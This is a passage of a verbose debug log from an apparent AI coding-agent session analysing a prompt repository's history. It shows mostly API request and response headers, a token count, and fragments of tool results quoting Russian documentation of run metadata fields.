\u043f\u0440\u043e\u0433\u043e\u043d\u0430: `execution`, `statistics` \u0438\u043b\u0438 `legacy`. \u0415\u0441\u043b\u0438 \u043f\u043e\u043b\u0435 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442, \u0437\u0430\u043f\u0438\u0441\u044c \u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a `execution`. |\\n\\n\u0414\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043f\u043e\u043b\u044f \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u044b: `source_paths`, `inputs`, `outputs`, `logs`,\\n`feedback`, `metrics`, `related_issues`, `related_artifacts`, `related_runs`.\\n\\n`metrics` \u2014 \u0431\u043b\u043e\u043a \u0438\u0437\u043c\u0435\u0440\u0438\u043c\u044b\u0445 \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u0435\u0439 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 (\u0432\u0432\u0435\u0434\u0451\u043d\\n[issue #271](https://github.com/G-Ivan-A/mango_ba_prompts/issues/271), \u043a\u043e\u0442\u043e\u0440\u044b\u0439\\n\u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0442\u043e\u043a\u0435\u043d\u044b, \u0434\u043b\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c, `eval`/\u0432\u0435\u0440\u0434\u0438\u043a\u0442 \u0438 `success_rate`).\\n\u0417\u0430\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f, \u043a\u043e\u0433\u0434\u0430 \u043f\u0440\u043e\u0433\u043e\u043d \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u044d\u043c\u043f\u0438\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0435; \u043f\u0440\u0438 \u0443\u043a\u0430\u0437\u0430\u043d\u0438\u0438\\n\u0442\u043e\u043a\u0435\u043d\u043e\u0432 MUST \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0442\u044c\u0441\u044f `token_method`, \u0430 \u043f\u0440\u0438 `success_rate` \u2014\\n`success_rate_basis` (\u043d\u0430 \u0447\u0451\u043c \u043f\u043e\u0441\u0447\u0438\u0442\u0430\u043d\u0430 \u0434\u043e\u043b\u044f). \u041f\u0440\u0438\u043c\u0435\u0440 \u2014\\n[`2026/RUN-0018/metadata.yaml`](2026/RUN-0018/metadata.yaml).\\n\\n## \u0422\u0438\u043f\u044b \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432\\n\\n| `run_type` | \u0417\u0430\u0447\u0435\u043c \u043f\u0440\u043e\u0433\u043e\u043d | \u0427\u0442\u043e \u043a\u043b\u0430\u0434\u0451\u043c \u0432 `outputs/` | \u041f\u043e \u0447\u0435\u043c\u0443 \u0441\u0443\u0434\u0438\u043c \u043e\u0431 \u0443\u0441\u043f\u0435\u0445\u0435 | \u041f\u0440\u0438\u043c\u0435\u0440 |\\n| --- | --- | --- | --- | --- |\\n| `execution` | \u041f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0440\u0430\u0431\u043e\u0447\u0438\u0439 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442. | \u0424\u0422, \u0422\u0417, User Story, \u043c\u0430\u0442\u0440\u0438\u0446\u0430 UC, \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442. | \u041a\u0430\u0447\u0435\u0441\u0442\u0432\u043e \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430 \u0438 acceptance criteria. | [`RUN-0012`](2026/RUN-0012/metadata.yaml) \u2014 \u0424\u0422 \u043f\u043e BCREQ-1069. |\\n...\\n\",\n[2026-09-29T07:44:37.855Z] [INFO]         \"is_error\": false\n[2026-09-29T07:44:37.855Z] [INFO]       }\n[2026-09-29T07:44:37.855Z] [INFO]     ]\n[2026-09-29T07:44:37.855Z] [INFO]   },\n[2026-09-29T07:44:37.855Z] [INFO]   \"parent_tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:44:37.855Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:37.855Z] [INFO]   \"uuid\": \"97784288-1acb-477b-b172-e4b28878ad05\",\n[2026-09-29T07:44:37.855Z] [INFO]   \"timestamp\": \"2026-09-29T07:44:37.486Z\",\n[2026-09-29T07:44:37.855Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:44:37.855Z] [INFO]   \"task_description\": \"Analyze mango_ba_prompts history\"\n[2026-09-29T07:44:37.855Z] [INFO] }\n[2026-09-29T07:44:37.862Z] [STDOUT] [log_29545a] sending request {\n[2026-09-29T07:44:37.867Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:44:37.871Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:44:37.877Z] [STDOUT]   options: {\n[2026-09-29T07:44:37.882Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:44:37.887Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:44:37.892Z] [STDOUT]     body: {\n[2026-09-29T07:44:37.895Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:44:37.900Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:44:37.905Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:44:37.911Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:44:37.917Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:44:37.924Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:44:37.928Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:44:37.948Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:44:37.954Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:44:37.958Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:44:37.962Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:44:37.967Z] [STDOUT]       stream: true,\n[2026-09-29T07:44:37.970Z] [STDOUT]     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 },\n[2026-09-29T07:44:38.572Z] [STDOUT]   headers: {\n[2026-09-29T07:44:38.574Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:44:38.578Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,context-management-2025-06-27,token-counting-2024-11-01\",\n[2026-09-29T07:44:38.582Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:44:38.588Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:44:38.593Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:44:38.596Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:44:38.600Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:44:38.603Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:44:38.606Z] [STDOUT]     \"x-claude-code-request-class\": \"auxiliary\",\n[2026-09-29T07:44:38.609Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:38.615Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:44:38.619Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:44:38.622Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:44:38.626Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:44:38.631Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:44:38.635Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:44:38.637Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:44:38.641Z] [STDOUT]   },\n[2026-09-29T07:44:38.645Z] [STDOUT] }\n[2026-09-29T07:44:38.647Z] [STDOUT] [log_29545a, request-id: \"req_011CfXMhGuttdFCJU6UvCmRk\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 831ms\n[2026-09-29T07:44:38.649Z] [STDOUT] [log_29545a] response start {\n[2026-09-29T07:44:38.653Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:44:38.656Z] [STDOUT]   status: 200,\n[2026-09-29T07:44:38.659Z] [STDOUT]   headers: {\n[2026-09-29T07:44:38.661Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:44:38.663Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:44:38.667Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:44:38.669Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.35\",\n[2026-09-29T07:44:38.674Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:44:38.679Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:44:38.688Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:44:38.693Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:44:38.697Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:44:38.703Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:44:38.714Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:44:38.720Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:44:38.723Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:44:38.727Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:44:38.730Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:44:38.732Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:44:38.735Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:44:38.738Z] [STDOUT]     \"cf-ray\": \"a4295d1a9b72dbb5-FRA\",\n[2026-09-29T07:44:38.743Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:44:38.746Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:44:38.749Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:44:38.753Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:44:38.756Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:44:38 GMT\",\n[2026-09-29T07:44:38.760Z] [STDOUT]     \"request-id\": \"req_011CfXMhGuttdFCJU6UvCmRk\",\n[2026-09-29T07:44:38.764Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:44:38.770Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:44:38.775Z] [STDOUT]     traceresponse: \"00-a7d13742c80c0f5a806ddda3407e3c3a-35367d64086e7b59-01\",\n[2026-09-29T07:44:38.780Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:44:38.786Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:44:38.789Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:44:38.794Z] [STDOUT]   },\n[2026-09-29T07:44:38.797Z] [STDOUT]   durationMs: 831,\n[2026-09-29T07:44:38.802Z] [STDOUT] }\n[2026-09-29T07:44:38.806Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:44:38.808Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:44:38 GMT\",\n[2026-09-29T07:44:38.810Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:44:38.813Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:44:38.816Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:44:38.820Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:44:38.825Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:44:38.832Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:44:38.839Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:44:38.842Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:44:38.849Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:44:38.852Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:44:38.854Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:44:38.859Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:44:38.866Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.35\",\n[2026-09-29T07:44:38.869Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:44:38.872Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:44:38.877Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:44:38.884Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:44:38.889Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:44:38.894Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:44:38.898Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:44:38.902Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:44:38.909Z] [STDOUT]   \"request-id\": \"req_011CfXMhGuttdFCJU6UvCmRk\",\n[2026-09-29T07:44:38.912Z] [STDOUT]   \"traceresponse\": \"00-a7d13742c80c0f5a806ddda3407e3c3a-35367d64086e7b59-01\",\n[2026-09-29T07:44:38.915Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:44:38.918Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:44:38.921Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:44:38.924Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:44:38.926Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:44:38.927Z] [STDOUT]   \"cf-ray\": \"a4295d1a9b72dbb5-FRA\",\n[2026-09-29T07:44:38.930Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:44:38.935Z] [STDOUT] [log_29545a] response parsed {\n[2026-09-29T07:44:38.943Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:44:38.945Z] [STDOUT]   status: 200,\n[2026-09-29T07:44:38.949Z] [STDOUT]   body: X {\n[2026-09-29T07:44:38.953Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:44:38.955Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:44:38.957Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:44:38.958Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:44:38.961Z] [STDOUT]     },\n[2026-09-29T07:44:38.963Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:44:38.964Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:44:38.969Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:44:38.972Z] [STDOUT]   },\n[2026-09-29T07:44:38.977Z] [STDOUT]   durationMs: 832,\n[2026-09-29T07:44:38.980Z] [STDOUT] }\n[2026-09-29T07:44:38.983Z] [STDOUT] [log_ea59bf, request-id: \"req_011CfXMhHTPdDqPpMcvXMSf1\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 816ms\n[2026-09-29T07:44:38.985Z] [STDOUT] [log_ea59bf] response start {\n[2026-09-29T07:44:38.988Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:44:38.990Z] [STDOUT]   status: 200,\n[2026-09-29T07:44:38.995Z] [STDOUT]   headers: {\n[2026-09-29T07:44:38.997Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:44:38.999Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:44:39.002Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:44:39.004Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.35\",\n[2026-09-29T07:44:39.008Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:44:39.012Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:44:39.017Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:44:39.019Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:44:39.022Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:44:39.037Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:44:39.041Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:44:39.052Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:44:39.055Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:44:39.060Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:44:39.066Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:44:39.069Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:44:39.074Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:44:39.083Z] [STDOUT]     \"cf-ray\": \"a4295d1b7c6a4d8b-FRA\",\n[2026-09-29T07:44:39.087Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:44:39.090Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:44:39.094Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:44:39.098Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:44:39.103Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:44:38 GMT\",\n[2026-09-29T07:44:39.106Z] [STDOUT]     \"request-id\": \"req_011CfXMhHTPdDqPpMcvXMSf1\",\n[2026-09-29T07:44:39.109Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:44:39.114Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:44:39.120Z] [STDOUT]     traceresponse: \"00-5db8cd5a1b7f5910703379dcec6a74f3-9db79cf561b2c586-01\",\n[2026-09-29T07:44:39.123Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:44:39.126Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:44:39.134Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:44:39.137Z] [STDOUT]   },\n[2026-09-29T07:44:39.143Z] [STDOUT]   durationMs: 816,\n[2026-09-29T07:44:39.146Z] [STDOUT] }\n[2026-09-29T07:44:39.151Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:44:39.156Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:44:38 GMT\",\n[2026-09-29T07:44:39.159Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:44:39.161Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:44:39.166Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:44:39.172Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:44:39.174Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:44:39.180Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:44:39.183Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:44:39.191Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:44:39.195Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:44:39.200Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:44:39.202Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:44:39.205Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:44:39.208Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.35\",\n[2026-09-29T07:44:39.211Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:44:39.216Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:44:39.220Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:44:39.224Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:44:39.229Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:44:39.233Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:44:39.235Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:44:39.242Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:44:39.247Z] [STDOUT]   \"request-id\": \"req_011CfXMhHTPdDqPpMcvXMSf1\",\n[2026-09-29T07:44:39.252Z] [STDOUT]   \"traceresponse\": \"00-5db8cd5a1b7f5910703379dcec6a74f3-9db79cf561b2c586-01\",\n[2026-09-29T07:44:39.255Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:44:39.262Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:44:39.267Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:44:39.271Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:44:39.274Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:44:39.277Z] [STDOUT]   \"cf-ray\": \"a4295d1b7c6a4d8b-FRA\",\n[2026-09-29T07:44:39.280Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:44:39.283Z] [STDOUT] [log_ea59bf] response parsed {\n[2026-09-29T07:44:39.287Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:44:39.290Z] [STDOUT]   status: 200,\n[2026-09-29T07:44:39.294Z] [STDOUT]   body: X {\n[2026-09-29T07:44:39.297Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:44:39.306Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:44:39.309Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:44:39.313Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:44:39.318Z] [STDOUT]     },\n[2026-09-29T07:44:39.321Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:44:39.327Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:44:39.332Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:44:39.338Z] [STDOUT]   },\n[2026-09-29T07:44:39.341Z] [STDOUT]   durationMs: 817,\n[2026-09-29T07:44:39.345Z] [STDOUT] }\n[2026-09-29T07:44:39.349Z] [STDOUT] [log_4c945e, request-id: \"req_011CfXMhL9ccbVo8VKTgFjnc\"] post https://api.anthropic.com/v1/messages/count_tokens?beta=true succeeded with status 200 in 211ms\n[2026-09-29T07:44:39.351Z] [STDOUT] [log_4c945e] response start {\n[2026-09-29T07:44:39.355Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages/count_tokens?beta=true\",\n[2026-09-29T07:44:39.356Z] [STDOUT]   status: 200,\n[2026-09-29T07:44:39.361Z] [STDOUT]   headers: {\n[2026-09-29T07:44:39.365Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:44:39.368Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:44:39.371Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:44:39.374Z] [STDOUT]     \"cf-ray\": \"a4295d1f9fa029ad-FRA\",\n[2026-09-29T07:44:39.380Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:44:39.386Z] [STDOUT]     \"content-encoding\": \"br\",\n[2026-09-29T07:44:39.390Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:44:39.393Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:44:39.398Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:44:38 GMT\",\n[2026-09-29T07:44:39.400Z] [STDOUT]     \"request-id\": \"req_011CfXMhL9ccbVo8VKTgFjnc\",\n[2026-09-29T07:44:39.404Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:44:39.407Z] [STDOUT]     \"server-timing\": \"x-originResponse;dur=97\",\n[2026-09-29T07:44:39.408Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:44:39.414Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:44:39.422Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:44:39.428Z] [STDOUT]   },\n[2026-09-29T07:44:39.431Z] [STDOUT]   durationMs: 211,\n[2026-09-29T07:44:39.441Z] [STDOUT] }\n[2026-09-29T07:44:39.447Z] [STDOUT] [log_4c945e] response parsed {\n[2026-09-29T07:44:39.453Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages/count_tokens?beta=true\",\n[2026-09-29T07:44:39.458Z] [STDOUT]   status: 200,\n[2026-09-29T07:44:39.467Z] [STDOUT]   body: {\n[2026-09-29T07:44:39.470Z] [STDOUT]     input_tokens: 26140,\n[2026-09-29T07:44:39.479Z] [STDOUT]     _request_id: \"req_011CfXMhL9ccbVo8VKTgFjnc\",\n[2026-09-29T07:44:39.483Z] [STDOUT]   },\n[2026-09-29T07:44:39.493Z] [STDOUT]   durationMs: 211,\n[2026-09-29T07:44:39.498Z] [STDOUT] }\n[2026-09-29T07:44:39.536Z] [INFO] {\n[2026-09-29T07:44:39.536Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:44:39.536Z] [INFO]   \"message\": {\n[2026-09-29T07:44:39.536Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:44:39.536Z] [INFO]     \"content\": [\n[2026-09-29T07:44:39.536Z] [INFO]       {\n[2026-09-29T07:44:39.536Z] [INFO]         \"tool_use_id\": \"toolu_01USrv2PLdukipf1vY1Gb2cY\",\n[2026-09-29T07:44:39.536Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:44:39.536Z] [INFO]         \"content\": \"1\\t---\\n2\\tstatus: draft\\n3\\tversion: 0.1\\n4\\tupdated: 